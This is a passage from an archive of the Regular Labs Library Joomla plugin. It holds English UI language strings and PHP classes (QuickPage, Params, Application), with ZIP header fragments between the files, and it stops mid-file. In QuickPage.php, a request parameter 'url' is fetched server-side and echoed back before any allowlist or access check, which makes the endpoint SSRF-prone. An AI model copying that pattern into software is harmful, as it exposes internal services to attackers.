HTML syntax issues." RL_HEADING_1="Heading 1" RL_HEADING_2="Heading 2" RL_HEADING_3="Heading 3" RL_HEADING_4="Heading 4" RL_HEADING_5="Heading 5" RL_HEADING_6="Heading 6" RL_HEADING_ACCESS_ASC="Access ascending" RL_HEADING_ACCESS_DESC="Access descending" RL_HEADING_ALIAS_ASC="Alias ascending" RL_HEADING_ALIAS_DESC="Alias descending" RL_HEADING_CATEGORY_ASC="Category ascending" RL_HEADING_CATEGORY_DESC="Category descending" RL_HEADING_CLIENTID_ASC="Location ascending" RL_HEADING_CLIENTID_DESC="Location descending" RL_HEADING_COLOR_ASC="Colour ascending" RL_HEADING_COLOR_DESC="Colour descending" RL_HEADING_DEFAULT_ASC="Default ascending" RL_HEADING_DEFAULT_DESC="Default descending" RL_HEADING_DESCRIPTION_ASC="Description ascending" RL_HEADING_DESCRIPTION_DESC="Description descending" RL_HEADING_ID_ASC="ID ascending" RL_HEADING_ID_DESC="ID descending" RL_HEADING_LANGUAGE_ASC="Language ascending" RL_HEADING_LANGUAGE_DESC="Language descending" RL_HEADING_ORDERING_ASC="Ordering ascending" RL_HEADING_ORDERING_DESC="Ordering descending" RL_HEADING_PAGES_ASC="Menu Items ascending" RL_HEADING_PAGES_DESC="Menu Items descending" RL_HEADING_POSITION_ASC="Position ascending" RL_HEADING_POSITION_DESC="Position descending" RL_HEADING_STATUS_ASC="Status ascending" RL_HEADING_STATUS_DESC="Status descending" RL_HEADING_STYLE_ASC="Style ascending" RL_HEADING_STYLE_DESC="Style descending" RL_HEADING_TEMPLATE_ASC="Template ascending" RL_HEADING_TEMPLATE_DESC="Template descending" RL_HEADING_TITLE_ASC="Title ascending" RL_HEADING_TITLE_DESC="Title descending" RL_HEADING_TYPE_ASC="Type ascending" RL_HEADING_TYPE_DESC="Type descending" RL_HEIGHT="Height" RL_HEMISPHERE="Hemisphere" RL_HEMISPHERE_DESC="Select the hemisphere your website is located in" RL_HIDE_SETTINGS="Hide Settings" RL_HIGH="High" RL_HIKASHOP="HikaShop" RL_HOME_PAGE="Home Page" RL_HOME_PAGE_DESC="Unlike selecting the home page (default) item via the Menu Items, this will only match the real home page, not any URL that has the same Itemid as the home menu item.<br><br>This might not work for all 3rd party SEF extensions." RL_HOVER="Hover" RL_HTML_LINK="<a href="[[%2:url%]]" target="_blank" class="[[%3:class%]]">[[%1:text%]]</a>" RL_HTML_TAGS="HTML Tags" RL_ICON_ONLY="Icon only" RL_IGNORE="Ignore" RL_IMAGE="Image" RL_IMAGE_ALT="Image Alt" RL_IMAGE_ALT_DESC="The Alt value of the image." RL_IMAGE_ATTRIBUTES="Image Attributes" RL_IMAGE_ATTRIBUTES_DESC="The extra attributes of the image, like: alt="My image" width="300"" RL_IMPORT="Import" RL_IMPORT_ITEMS="Import Items" RL_INCLUDE="Include" RL_INCLUDE_CHILD_CATEGORIES="Include child categories" RL_INCLUDE_CHILD_ITEMS="Include child items" RL_INCLUDE_CHILD_ITEMS_DESC="Also include child items of the selected items?" RL_INCLUDE_CHILD_TAGS="Include child tags" RL_INCLUDE_NO_ITEMID="Include no Itemid" RL_INCLUDE_NO_ITEMID_DESC="Also assign when no menu Itemid is set in URL?" RL_INITIALISE_EVENT="Initialise on Event" RL_INITIALISE_EVENT_DESC="Set the internal Joomla event on which the plugin should be initialised. Only change this if you experience issues with the plugin not working." RL_INPUT_SYNTAX="Input Syntax" RL_INPUT_TYPE="Input Type" RL_INPUT_TYPE_ALNUM="A string containing A-Z or 0-9 only (not case sensitive)." RL_INPUT_TYPE_ARRAY="An array." RL_INPUT_TYPE_BOOLEAN="A boolean value." RL_INPUT_TYPE_CMD="A string containing A-Z, 0-9, underscores, periods or hyphens (not case sensitive)." RL_INPUT_TYPE_DESC="Select an input type:" RL_INPUT_TYPE_FLOAT="A floating point number, or an array of floating point numbers." RL_INPUT_TYPE_INT="An integer, or an array of integers." RL_INPUT_TYPE_STRING="A fully decoded and sanitised string (default)." RL_INPUT_TYPE_UINT="An unsigned integer, or an array of unsigned integers." RL_INPUT_TYPE_WORD="A string containing A-Z or underscores only (not case sensitive)." RL_INSERT="Insert" RL_INSERT_DATE_NAME="Insert Date / Name" RL_IP_RANGES="IP Addresses / Ranges" RL_IP_RANGES_DESC="A comma and/or enter separated list of IP addresses and IP ranges. For instance:<br>127.0.0.1<br>128.0-128.1<br>129" RL_IPS="IP Addresses" RL_IS_FREE_VERSION="This is the FREE version of %s." RL_ITEM="Item" RL_ITEM_IDS="Item IDs" RL_ITEM_IDS_DESC="Enter the item ids to assign to. Use commas to separate the ids." RL_ITEMS="Items" RL_ITEMS_DESC="Select the items to assign to." RL_JCONTENT="Joomla! Content" RL_JED_REVIEW="Like this extension? [[%1:start link%]]Leave a review at the JED[[%2:end link%]]" RL_JQUERY_DISABLED="You have disabled the jQuery script. %s needs jQuery to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality." RL_JUSTIFY="Justify" RL_K2="K2" RL_K2_CATEGORIES="K2 Categories" RL_KEEP_ORIGINAL_CATEGORY="Keep original Category" RL_LANGUAGE="Language" RL_LANGUAGE_DESC="Select the language to assign to." RL_LANGUAGES="Languages" RL_LANGUAGES_DESC="Select the languages to assign to." RL_LAYOUT="Layout" RL_LAYOUT_DESC="Select the layout to use. You can override this layout in the component or template." RL_LEAVE_EMPTY_FOR_DEFAULT="Set to 0 or leave empty to use the default setting." RL_LEFT="Left" RL_LESS_THAN="Less than" RL_LEVELS="Levels" RL_LEVELS_DESC="Select the levels to assign to." RL_LIB="Library" RL_LINK_TEXT="Link Text" RL_LINK_TEXT_DESC="The text to display as link." RL_LIST="List" RL_LOAD_BOOTSTRAP_FRAMEWORK="Load Bootstrap Framework" RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC="Disable to not initiate the Bootstrap Framework." RL_LOAD_JQUERY="Load jQuery Script" RL_LOAD_JQUERY_DESC="Select to load the core jQuery script. You can disable this if you experience conflicts if your template or other extensions load their own version of jQuery." RL_LOAD_MOOTOOLS="Load Core MooTools" RL_LOAD_MOOTOOLS_DESC="Select to load the core MooTools script. You can disable this if you experience conflicts if your template or other extensions load their own version of MooTools." RL_LOAD_STYLESHEET="Load Stylesheet" RL_LOAD_STYLESHEET_DESC="Select to load the extensions stylesheet. You can disable this if you place all your own styles in some other stylesheet, like the templates stylesheet." RL_LOW="Low" RL_LTR="Left-to-Right" RL_MATCH_ALL="Match All" RL_MATCH_ALL_DESC="Select to only let the assignment pass if all of the selected items are matched." RL_MATCHING_METHOD="Matching Method" RL_MATCHING_METHOD_DESC="Should all or any assignments be matched?<br><br><strong>[[%1:all%]]</strong><br>[[%2:all description%]]<br><br><strong>[[%3:any%]]</strong><br>[[%4:any description%]]" RL_MAX_LIST_COUNT="Maximum List Count" RL_MAX_LIST_COUNT_DESC="The maximum number of elements to show in the multi-select lists. If the total number of items is higher, the selection field will be displayed as a text field.<br><br>You can set this number lower if you experience long pageloads due to high number of items in lists." RL_MAX_LIST_COUNT_INCREASE="Increase Maximum List Count" RL_MAX_LIST_COUNT_INCREASE_DESC="There are more than [[%1:max%]] items.<br><br>To prevent slow pages this field is displayed as a textarea instead of a dynamic select list.<br><br>You can increase the '[[%2:max setting%]]' in the Regular Labs Library plugin settings." RL_MAXIMIZE="Maximize" RL_MEDIA_VERSIONING="Use Media Versioning" RL_MEDIA_VERSIONING_DESC="Select to add the extension version number to the end of media (js/css) urls, to make browsers force load the correct file." RL_MEDIUM="Medium" RL_MENU_ITEMS="Menu Items" RL_MENU_ITEMS_DESC="Select the menu items to assign to." RL_META_KEYWORDS="Meta Keywords" RL_META_KEYWORDS_DESC="Enter the keywords found in the meta keywords to assign to. Use commas to separate the keywords." RL_MIJOSHOP="MijoShop" RL_MINIMIZE="Minimize" RL_MOBILE_BROWSERS="Mobile Browsers" RL_MOD="Module" RL_MODE="Mode" RL_MODULE_HAS_BEEN_DISABLED="The [[%1:extension%]] module has been unpublished!" RL_MONTHS="Months" RL_MONTHS_DESC="Select months to assign to." RL_MORE_INFO="More info" RL_MORE_INFO_PHP_DATES="For more date formats, see <a href="[[%1:url%]]" target="_blank">the PHP documentation</a>." RL_MUST_CONTAIN="Must contain" RL_MY_STRING="My string!" RL_N_ITEMS_ARCHIVED="%s items archived." RL_N_ITEMS_ARCHIVED_1="%s item archived." RL_N_ITEMS_CHECKED_IN_0="No items checked in." RL_N_ITEMS_CHECKED_IN_1="%d item checked in." RL_N_ITEMS_CHECKED_IN_MORE="%d items checked in." RL_N_ITEMS_DELETED="%s items deleted." RL_N_ITEMS_DELETED_1="%s item deleted." RL_N_ITEMS_FEATURED="%s items featured." RL_N_ITEMS_FEATURED_1="%s item featured." RL_N_ITEMS_PUBLISHED="%s items published." RL_N_ITEMS_PUBLISHED_1="%s item published." RL_N_ITEMS_TRASHED="%s items trashed." RL_N_ITEMS_TRASHED_1="%s item trashed." RL_N_ITEMS_UNFEATURED="%s items unfeatured." RL_N_ITEMS_UNFEATURED_1="%s item unfeatured." RL_N_ITEMS_UNPUBLISHED="%s items unpublished." RL_N_ITEMS_UNPUBLISHED_1="%s item unpublished." RL_N_ITEMS_UPDATED="%d items updated." RL_N_ITEMS_UPDATED_1="One item has been updated" RL_NAVIGATION="Navigation" RL_NEW_CATEGORY="Create New Category" RL_NEW_CATEGORY_ENTER="Enter a new category name" RL_NEW_VERSION_AVAILABLE="A new version is available" RL_NEW_VERSION_OF_AVAILABLE="A new version of %s is available" RL_NO_ICON="No icon" RL_NO_ITEMS_FOUND="No items found." RL_NORMAL="Normal" RL_NORTHERN="Northern" RL_NOT="Not" RL_NOT_COMPATIBLE_WITH_JOOMLA_VERSION="Your installed version of [[%1:extension%]] is not compatible with Joomla [[%2:version%]].<br>Please check if there is a version of [[%1:extension%]] available for Joomla [[%2:version%]] and install that." RL_NOT_CONTAINS="Does not contain" RL_NOT_ENABLED_IN_FRONTEND="Not enable in frontend" RL_NOT_EQUALS="Is not equal to" RL_NOTE="Note" RL_ONLY="Only" RL_ONLY_AVAILABLE_IN_JOOMLA="Only available in Joomla %s or higher." RL_ONLY_AVAILABLE_IN_PRO="<em>Only available in PRO version!</em>" RL_ONLY_AVAILABLE_IN_PRO_LIST_OPTION="(Only available in PRO version)" RL_ONLY_VISIBLE_TO_ADMIN="This message will only be displayed to (Super) Administrators." RL_OPTION_SELECT="- Select -" RL_OPTION_SELECT_CLIENT="- Select Client -" RL_ORDER_DIRECTION_PRIMARY="Primary Order Direction" RL_ORDER_DIRECTION_SECONDARY="Secondary Order Direction" RL_ORDERING="Sort Order" RL_ORDERING_PRIMARY="Primary Sort Order" RL_ORDERING_SECONDARY="Secondary Sort Order" RL_OS="Operating Systems" RL_OS_DESC="Select the operating systems to assign to. Keep in mind that operating system detection is not always 100% accurate. Users can setup their browser to mimic other operating systems." RL_OTHER="Other" RL_OTHER_AREAS="Other Areas" RL_OTHER_OPTIONS="Other Options" RL_OTHER_SETTINGS="Other Settings" RL_OTHERS="Others" RL_OUTPUT_EXAMPLE="Output Example" RL_PAGE_TYPES="Page types" RL_PAGE_TYPES_DESC="Select on what page types the assignment should be active." RL_PARAGRAPHS="Paragraphs" RL_PHP="Custom PHP" RL_PHP_DESC="Enter a piece of PHP code to evaluate. The code must return the value true or false.<br><br>For instance:<br><br>[[%1:code%]]" RL_PLACE_HTML_COMMENTS="Place HTML comments" RL_PLACE_HTML_COMMENTS_DESC="By default HTML comments are placed around the output of this extension.<br><br>These comments can help you troubleshoot when you don't get the output you expect.<br><br>If you prefer to not have these comments in your HTML output, turn this option off." RL_PLEASE_WAIT="Please wait..." RL_PLG_ACTIONLOG="Action Log Plugin" RL_PLG_EDITORS-XTD="Editor Button Plugin" RL_PLG_FIELDS="Field Plugin" RL_PLG_SYSTEM="System Plugin" RL_PLUGIN_HAS_BEEN_DISABLED="The [[%1:extension%]] plugin has been disabled!" RL_POSITION="Position" RL_POSITIONING="Positioning" RL_POSTALCODES="Postal Codes" RL_POSTALCODES_DESC="A comma separated list of postal codes (12345) or postal code ranges (12300-12500).<br>This can only be used for [[%1:start link%]]a limited number of countries and IP addresses[[%2:end link%]]." RL_POWERED_BY="Powered by %s" RL_PRODUCTS="Products" RL_PUBLISHED_DESC="You can use this to (temporarily) disable this item." RL_PUBLISHING_ASSIGNMENTS="Publishing Assignments" RL_PUBLISHING_SETTINGS="Publish items" RL_RANDOM="Random" RL_REDSHOP="RedShop" RL_REGEX="Regular Expressions" RL_REGIONS="Regions / States" RL_REGIONS_DESC="Select the regions / states to assign to." RL_REGULAR_EXPRESSIONS="Use Regular Expressions" RL_REGULAR_EXPRESSIONS_DESC="Select to treat the value as regular expressions." RL_REGULAR_LABS_DOWNLOAD_KEY="Regular Labs Download Key" RL_REGULAR_LABS_EXTENSIONS="Regular Labs extensions" RL_REMOVE_IN_DISABLED_COMPONENTS="Remove in Disabled Components" RL_REMOVE_IN_DISABLED_COMPONENTS_DESC="If selected, the plugin syntax will get removed from the component. If not, the original plugins syntax will remain intact." RL_RESIZE_IMAGES="Resize Images" RL_RESIZE_IMAGES_CROP="Crop" RL_RESIZE_IMAGES_CROP_DESC="The resized image will always have the set width and height." RL_RESIZE_IMAGES_DESC="If selected, resized images will be automatically created for images if they do not exist yet. The resized images will be created using below settings." RL_RESIZE_IMAGES_FILETYPES="Only on Filetypes" RL_RESIZE_IMAGES_FILETYPES_DESC="Select the filetypes to do resizing on." RL_RESIZE_IMAGES_FOLDER="Folder" RL_RESIZE_IMAGES_FOLDER_DESC="The folder containing the resized images. This will be a subfolder of the folder containing your original images." RL_RESIZE_IMAGES_FORCE_RESIZE="Force Resize" RL_RESIZE_IMAGES_FORCE_RESIZE_DESC="If selected, the resized image will be created on every pageload, even if the resized image already exists. Only use for testing or temporarily force-renewing images." RL_RESIZE_IMAGES_HEIGHT_DESC="Set the height of the resized image in pixels (ie 180)." RL_RESIZE_IMAGES_MAX_AGE="Max Age" RL_RESIZE_IMAGES_MAX_AGE_DESC="The maximum age of the resized image in days. If the resized image is older than this, it will be recreated.<br>Set to 0 to never recreate the resized image if they already exist." RL_RESIZE_IMAGES_NO_HEIGHT_DESC="The Height will be calculated based on the Width defined above and the aspect ratio of the original image." RL_RESIZE_IMAGES_NO_WIDTH_DESC="The Width will be calculated based on the Height defined below and the aspect ratio of the original image." RL_RESIZE_IMAGES_QUALITY="JPG Quality" RL_RESIZE_IMAGES_QUALITY_DESC="The quality of the resized images. Choose from Low, Medium or High. The higher the quality, the larger the resulting files.<br>This only affects jpeg images." RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY="Retina Pixel Density" RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY_DESC="The pixel density of retina displays. This is the density at which the double sized retina image is used." RL_RESIZE_IMAGES_SCALE="Scale" RL_RESIZE_IMAGES_SCALE_DESC="The resized image will be resized to the maximum width or height maintaining its aspect ratio." RL_RESIZE_IMAGES_SCALE_USING="Scale using fixed..." RL_RESIZE_IMAGES_SCALE_USING_DESC="Select whether to resize images using the maximum width or height. The other dimension will be calculated based on the aspect ratio of the original image." RL_RESIZE_IMAGES_TYPE="Resize Method" RL_RESIZE_IMAGES_TYPE_DESC="Set the type of resizing." RL_RESIZE_IMAGES_USE_RETINA="Use Retina Images" RL_RESIZE_IMAGES_USE_RETINA_DESC="If selected, double size images will be created and used for retina displays." RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT="Set" RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT_DESC="Select whether to resize images using the maximum width or height." RL_RESIZE_IMAGES_WIDTH_DESC="Set the width of the resized image in pixels (ie 320)." RL_RESIZE_SETTINGS="Resize Settings" RL_RIGHT="Right" RL_RTL="Right-to-Left" RL_SAVE_CONFIG="After saving the Options it will not pop up on page load anymore." RL_SCREEN="Screen" RL_SCROLL="Scroll" RL_SEASONS="Seasons" RL_SEASONS_DESC="Select seasons to assign to." RL_SELECT="Select" RL_SELECT_A_CATEGORY="Select a Category" RL_SELECT_ALL="Select all" RL_SELECT_AN_ARTICLE="Select an Article" RL_SELECT_FIELD="Select Field" RL_SELECT_OR_CREATE_A_CATEGORY="Select or Create a Category" RL_SELECTED="Selected" RL_SELECTION="Selection" RL_SELECTION_DESC="Select whether to include or exclude the selection for the assignment.<br><br><strong>Include</strong><br>Publish only on selection.<br><br><strong>Exclude</strong><br>Publish everywhere except on selection." RL_SET_CATEGORY="Set Category" RL_SET_COLOR="Set Colour" RL_SETTINGS_ADMIN_MODULE="Administrator Module Options" RL_SETTINGS_EDITOR_BUTTON="Editor Button Options" RL_SETTINGS_SECURITY="Security Options" RL_SHOW_ASSIGNMENTS="Show Assignments" RL_SHOW_ASSIGNMENTS_DESC="Select whether to only show the selected assignments. You can use this to get a clean overview of the active assignments." RL_SHOW_ASSIGNMENTS_SELECTED_DESC="All not-selected assignment types are now hidden from view." RL_SHOW_COPYRIGHT="Show Copyright" RL_SHOW_COPYRIGHT_DESC="If selected, extra copyright info will be displayed in the admin views. Regular Labs extensions never show copyright info or backlinks on the frontend." RL_SHOW_HELP_MENU="Show Help Menu Item" RL_SHOW_HELP_MENU_DESC="Select to show a link to the Regular Labs website in the Administrator Help menu." RL_SHOW_ICON="Show Button Icon" RL_SHOW_ICON_DESC="If selected, the icon will be displayed in the Editor Button." RL_SHOW_SETTINGS="Show Settings" RL_SHOW_UPDATE_NOTIFICATION="Show Update Notification" RL_SHOW_UPDATE_NOTIFICATION_DESC="If selected, an update notification will be shown in the main component view when there is a new version for this extension." RL_SIMPLE="Simple" RL_SLIDE="Slide" RL_SLIDES="Slides" RL_SOUTHERN="Southern" RL_SPECIFIC="Specific" RL_SPECIFY="Specify" RL_SPEED="Speed" RL_SPRING="Spring" RL_START="Start" RL_START_PUBLISHING="Start Publishing" RL_START_PUBLISHING_DESC="Enter the date to start publishing" RL_STRIP_HTML_IN_HEAD="Strip HTML in Head" RL_STRIP_HTML_IN_HEAD_DESC="Select to strip html tags from the output of the plugin inside the HTML Head section" RL_STRIP_SURROUNDING_TAGS="Strip Surrounding Tags" RL_STRIP_SURROUNDING_TAGS_DESC="Select to always remove html tags (div, p, span) surrounding the plugin tag. If switched off, the plugin will try to remove tags that break the html structure (like p inside p tags)." RL_STYLING="Styling" RL_SUBITEMS="Sub-items" RL_SUMMER="Summer" RL_TABLE_NOT_FOUND="Required %s database table not found!" RL_TABS="Tabs" RL_TAG_CHARACTERS="Tag Characters" RL_TAG_CHARACTERS_DESC="The surrounding characters of the tag syntax.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore." RL_TAG_SYNTAX="Tag Syntax" RL_TAG_SYNTAX_DESC="The word to be used in the tags.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore." RL_TAGS="Tags" RL_TAGS_DESC="Enter the tags to assign to. Use commas to separate the tags." RL_TEMPLATES="Templates" RL_TEMPLATES_DESC="Select the templates to assign to." RL_TEXT="Text" RL_TEXT_HTML="Text (HTML)" RL_TEXT_ONLY="Text only" RL_THEME="Theme" RL_THEME_DESC="Select the default theme." RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION="This extension needs %s to function correctly!" RL_TIME="Time" RL_TIME_FINISH_PUBLISHING_DESC="Enter the time to end publishing.<br><br><strong>Format:</strong> 23:59" RL_TIME_START_PUBLISHING_DESC="Enter the time to start publishing.<br><br><strong>Format:</strong> 23:59" RL_TOGGLE="Toggle" RL_TOGGLE_SELECTION="Toggle Selection" RL_TOOLTIP="Tooltip" RL_TOP="Top" RL_TOP_LEFT="Top Left" RL_TOP_RIGHT="Top Right" RL_TOTAL="Total" RL_TYPE="Type" RL_TYPES="Types" RL_TYPES_DESC="Select the types to assign to." RL_UNSELECT_ALL="Deselect All" RL_UNSELECTED="Unselected" RL_UPDATE_TO="Update to version %s" RL_URL="URL" RL_URL_PARAM_NAME="Parameter Name" RL_URL_PARAM_NAME_DESC="Enter the name of the url parameter." RL_URL_PARTS="URL matches" RL_URL_PARTS_CASE_SENSITIVE="Url parts will be only match if casing is exactly the same." RL_URL_PARTS_DESC="Enter (part of) the URLs to match.<br>Use a new line for each different match." RL_URL_PARTS_REGEX="Url parts will be matched using regular expressions. <strong>So make sure the string uses valid regex syntax.</strong>" RL_USE_CATEGORIES="Enable Categories" RL_USE_CATEGORIES_DESC="Enable to use categories and show the category column in the list view." RL_USE_COLORS="Enable Colours" RL_USE_COLORS_DESC="Enable to use colours and show the colour column in the list view." RL_USE_CONTENT_ASSIGNMENTS="For category & article (item) assignments, see the above Joomla! Content section." RL_USE_CUSTOM_CODE="Use Custom Code" RL_USE_CUSTOM_CODE_DESC="If selected, the Editor Button will insert the given custom code instead." RL_USE_SIMPLE_BUTTON="Use Simple Button" RL_USE_SIMPLE_BUTTON_DESC="Select to use a simple insert button, that simply inserts some example syntax into the editor." RL_USER_ACTION_LOGS="User Actions Logs" RL_USER_GROUP_LEVELS="User Group Levels" RL_USER_GROUPS="User Groups" RL_USER_GROUPS_DESC="Select the user groups to assign to." RL_USER_IDS="User IDs" RL_USER_IDS_DESC="Enter the user ids to assign to. Use commas to separate ids." RL_USERS="Users" RL_UTF8="UTF-8" RL_VALUE="Value" RL_VIDEO="Video" RL_VIEW="View" RL_VIEW_DESC="Select what default view should be used when creating a new item." RL_VIRTUEMART="VirtueMart" RL_WIDTH="Width" RL_WIDTH_BASED_ON="Base on Width of" RL_WIDTH_BASED_ON_DESC="Select the element to base the width on." RL_WIDTH_BREAK_POINT="Break Point" RL_WIDTH_BREAK_POINT_DESC="The width in pixels the screen is considered as wide." RL_WINDOW="Window" RL_WINTER="Winter" RL_WORDS="Words" RL_WRAP="Wrap" RL_ZOO="ZOO" RL_ZOO_CATEGORIES="ZOO Categories" ;; NO NEED TO TRANSLATE THESE ADDTOMENU="Add to Menu" ADVANCEDMODULEMANAGER="Advanced Module Manager" ADVANCEDTEMPLATEMANAGER="Advanced Template Manager" ARTICLESANYWHERE="Articles Anywhere" ARTICLESFIELD="Articles Field" BETTERPREVIEW="Better Preview" BETTERTRASH="Better Trash" CACHECLEANER="Cache Cleaner" CDNFORJOOMLA="CDN for Joomla!" COMPONENTSANYWHERE="Components Anywhere" CONDITIONALCONTENT="Conditional Content" CONTENTTEMPLATER="Content Templater" DBREPLACER="DB Replacer" DUMMYCONTENT="Dummy Content" EMAILPROTECTOR="Email Protector" EXTENSIONMANAGER="Regular Labs Extension Manager" REGULARLABSEXTENSIONMANAGER="Regular Labs Extension Manager" GEOIP="GeoIP" IPLOGIN="IP Login" KEYBOARDSHORTCUTS="Keyboard Shortcuts" MODALS="Modals" MODULESANYWHERE="Modules Anywhere" QUICKINDEX="Quick Index" REREPLACER="ReReplacer" SIMPLEUSERNOTES="Simple User Notes" SLIDERS="Sliders" SNIPPETS="Snippets" SOURCERER="Sourcerer" TABS="Tabs" TABSACCORDIONS="Tabs & Accordions" TOOLTIPS="Tooltips" WHATNOTHING="What? Nothing!" ;; FOR BACKWARDS COMPATIBILITY ADD_TO_MENU="Add to Menu" ADVANCED_MODULE_MANAGER="Advanced Module Manager" ADVANCED_TEMPLATE_MANAGER="Advanced Template Manager" ARTICLES_ANYWHERE="Articles Anywhere" ARTICLES_FIELD="Articles Field" BETTER_PREVIEW="Better Preview" BETTER_TRASH="Better Trash" CACHE_CLEANER="Cache Cleaner" CDN_FOR_JOOMLA="CDN for Joomla!" COMPONENTS_ANYWHERE="Components Anywhere" CONDITIONAL_CONTENT="Conditional Content" CONTENT_TEMPLATER="Content Templater" DB_REPLACER="DB Replacer" DUMMY_CONTENT="Dummy Content" EMAIL_PROTECTOR="Email Protector" REGULAR_LABS_EXTENSION_MANAGER="Regular Labs Extension Manager" IP_LOGIN="IP Login" KEYBOARD_SHORTCUTS="Keyboard Shortcuts" MODULES_ANYWHERE="Modules Anywhere" QUICK_INDEX="Quick Index" SIMPLE_USER_NOTES="Simple User Notes" WHAT_NOTHING="What? Nothing!" PK :�\�ɁGU U 3 language/en-GB/en-GB.plg_system_regularlabs.sys.ininu &1i� ;; @package Regular Labs Library ;; @version 25.7.12430 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_SYSTEM_REGULARLABS="System - Regular Labs Library" PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - used by Regular Labs extensions" REGULAR_LABS_LIBRARY="Regular Labs Library" PK :�\ihG� � src/QuickPage.phpnu &1i� <?php /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\RegularLabs; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use RegularLabs\Library\Document as JDocument; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Http as RL_Http; use RegularLabs\Library\Input as RL_Input; use RegularLabs\Library\RegEx as RL_RegEx; class QuickPage { public static function render() { if ( ! RL_Input::getInt('rl_qp', 0)) { return; } $url = RL_Input::getString('url', ''); if ($url) { echo RL_Http::getFromServer($url, RL_Input::getInt('timeout', '')); die; } if ( ! self::passClassCheck()) { die; } self::setRequestOptionToContent(); self::setHeaderContentType(); self::loadTemplateAssets(); echo self::getHtml(); die; } private static function getHtml() { $class = RL_Input::getString('class', ''); $method = RL_Input::getString('method', 'render'); $class = '\\RegularLabs\\' . str_replace('.', '\\', $class); ob_start(); (new $class)->$method(); $html = ob_get_contents(); ob_end_clean(); RL_Document::setComponentBuffer($html); $app = new Application; $app->render(); $html = JFactory::getApplication()->getBody(); $html = RL_RegEx::replace('\s*<link [^>]*href="[^"]*templates/system/[^"]*\.css[^"]*"[^>]*( /)?>', '', $html); $html = RL_RegEx::replace('(<body [^>]*class=")', '\1rl-popup ', $html); $html = str_replace('<body>', '<body class="rl-popup"', $html); return $html; } private static function loadTemplateAssets() { $app = JFactory::getApplication(); $asset_manager = JDocument::getAssetManager(); $template = $app->getTemplate(true); $clientId = (int) $app->getClientId(); $paramsColorName = $template->params->get('colorName', 'colors_standard'); if ( ! empty($template->parent)) { $asset_manager->getRegistry()->addTemplateRegistryFile($template->parent, $clientId); $asset_manager->registerAndUseStyle('theme.' . $template->parent . '.' . $paramsColorName, 'media/templates/site/' . $template->parent . '/css/global/' . $paramsColorName . '.css'); } $asset_manager->getRegistry()->addTemplateRegistryFile($template->template, $clientId); $asset_manager->registerAndUseStyle('theme.' . $template->template . '.' . $paramsColorName, 'media/templates/site/' . $template->template . '/css/global/' . $paramsColorName . '.css'); } private static function passClassCheck() { $class = RL_Input::getString('class', ''); if ( ! $class) { return false; } $allowed = [ 'Plugin.EditorButton.ArticlesAnywhere.Popup', 'Plugin.EditorButton.ConditionalContent.Popup', 'Plugin.EditorButton.ContentTemplater.Data', 'Plugin.EditorButton.ContentTemplater.Popup', 'Plugin.EditorButton.DummyContent.Popup', 'Plugin.EditorButton.Modals.Popup', 'Plugin.EditorButton.ModulesAnywhere.Popup', 'Plugin.EditorButton.Sliders.data.php', 'Plugin.EditorButton.Sliders.Popup', 'Plugin.EditorButton.Snippets.Popup', 'Plugin.EditorButton.Sourcerer.Popup', 'Plugin.EditorButton.TabsAccordions.Popup', 'Plugin.EditorButton.Tooltips.Popup', ]; return in_array($class, $allowed) !== false; } private static function setHeaderContentType() { switch (RL_Input::getCmd('format', 'html')) { case 'json' : $format = 'application/json'; break; default: case 'html' : $format = 'text/html'; break; } header('Content-Type: ' . $format . '; charset=utf-8'); } private static function setRequestOptionToContent() { $_REQUEST['tmpl'] = 'component'; RL_Input::set('option', 'com_content'); } } PK :�\��4I� � src/Params.phpnu &1i� <?php /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\RegularLabs; defined('_JEXEC') or die; use RegularLabs\Library\Parameters as RL_Parameters; class Params { protected static $params = null; public static function get() { if ( ! is_null(self::$params)) { return self::$params; } self::$params = RL_Parameters::getPlugin('regularlabs'); return self::$params; } } PK :�\�Ȃ src/Application.phpnu &1i� <?php /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\RegularLabs; defined('_JEXEC') or die; use Joomla\CMS\Event\AbstractEvent; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Plugin\PluginHelper as JPluginHelper; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Input as RL_Input; class Application { static function getThemesDirectory() { if (JFactory::getApplication()->get('themes.base')) { return JFactory::getApplication()->get('themes.base'); } if (defined('JPATH_THEMES')) { return JPATH_THEMES; } if (defined('JPATH_BASE')) { return JPATH_BASE . '/themes'; } return __DIR__ . '/themes'; } public function render() { $app = JFactory::getApplication(); $document = RL_Document::get(); $user = $app->getIdentity() ?: JFactory::getUser(); $template = $app->getTemplate(true); $clientId = (int) $app->getClientId(); $document->getWebAssetManager()->getRegistry()->addTemplateRegistryFile($template->template, $clientId); $app->loadDocument($document); $template_file = RL_Input::getCmd('tmpl', 'index'); $params = [ 'template' => $app->get('theme', $template->template), 'file' => $app->get('themeFile', $template_file . '.php'), 'params' => $template->params, 'csp_nonce' => $app->get('csp_nonce'), 'templateInherits' => $app->get('themeInherits'), 'directory' => self::getThemesDirectory(), ]; // Parse the document. $document->parse($params); // Trigger the 